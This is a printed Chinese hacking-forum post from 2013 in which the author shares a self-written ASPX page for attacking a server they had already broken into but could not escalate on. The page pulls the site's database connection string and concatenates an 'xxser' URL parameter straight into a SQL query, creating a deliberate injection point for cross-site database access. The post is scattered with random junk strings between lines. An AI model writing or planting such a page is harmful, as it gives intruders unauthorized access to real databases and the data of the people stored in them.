中国网络渗透测试联盟
标题:
利用aspx构造注射来跨站
[打印本页]
作者:
admin
时间:
2013-3-20 21:32
标题:
利用aspx构造注射来跨站
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
! {- N& }' J- B1 C) M
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
$ j( c8 d7 T2 c `9 e
代码量不多,自己写个拉倒了。烦死了。
' D/ N4 f, f; ]+ V
l7 L$ b: b- N/ P
G5 {6 A* t" u4 C V% x% l3 n
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
8 i/ b4 g7 Y( R% M) m8 b, w
<html xmlns="http://www.w3.org/1999/xhtml">
5 n% |' \: w* E; Y: d0 Y
<head runat="server">
$ N. ~; s/ X! }7 H$ f
<title>暗影aspx构造注射专用页面</title>
0 _- P q' S! n( l+ W
</head>
- _6 o$ B% B% ^) W* K! W
<body>
8 i! h( k" I& H# \
<form id="form1" runat="server">
, J. i# g/ e5 I. `( s9 c' [/ N
<div>
1 {. u) T8 J9 J2 `& D1 l% A
<script language="c#" runat="server">
2 r' W- i2 g) q. J/ Z9 m
3 c0 i1 r5 g8 v0 M4 }1 e( Z
void page_init(object sender, EventArgs e)
- v7 p8 W; y6 N
{
9 f0 `6 Q7 \3 M
' \8 h M8 f0 y3 y* S/ H/ w
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
# P/ F, t; }) e$ _, d% u7 q
( `5 v( S0 P1 l6 @; g. ]& J$ m1 }
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
, D' F, i3 O0 T, n/ h S
conn.Open();
. f) O% H) ^4 [9 N0 [0 z8 [ }
; ]' ]8 |: }% K- H! C( Q
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
5 e: ]6 U5 W# s7 K C
2 c7 r& [4 m, O# _/ m
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
' @7 h8 h8 ~( e( Y8 W4 e
int x = command.ExecuteNonQuery();
( I: f7 O% d4 I$ f3 }* s; E! ~5 K
Response.Write(i+"\n");
3 O6 V* c( N0 `6 f6 p
Response.Write(x);
! R% w0 k3 g: I3 r7 _. E2 _# I
conn.Close();
5 `% H1 L2 x3 n- h/ f) x) z
}
0 h, |( K1 M- A/ _/ B6 ^
, V1 S+ n+ L9 r
</script>
& N5 \( c9 x" m/ U: e$ M6 X
</div>
3 A" d2 y4 ~# u0 U5 \' {
</form>
( m% K- X' M+ j) f) ~
</body>
; ^& ?, X5 s9 S6 K b6 K
</html>
& P( ^" |* i' {9 @) }+ O
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2